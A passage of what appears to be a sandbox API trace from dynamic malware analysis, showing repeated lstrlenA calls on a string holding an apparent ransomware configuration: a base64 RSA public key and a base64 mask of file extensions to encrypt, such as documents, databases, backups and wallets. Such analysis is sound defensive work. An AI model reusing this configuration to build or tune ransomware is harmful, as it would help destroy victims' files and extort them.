sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.467] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.467] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3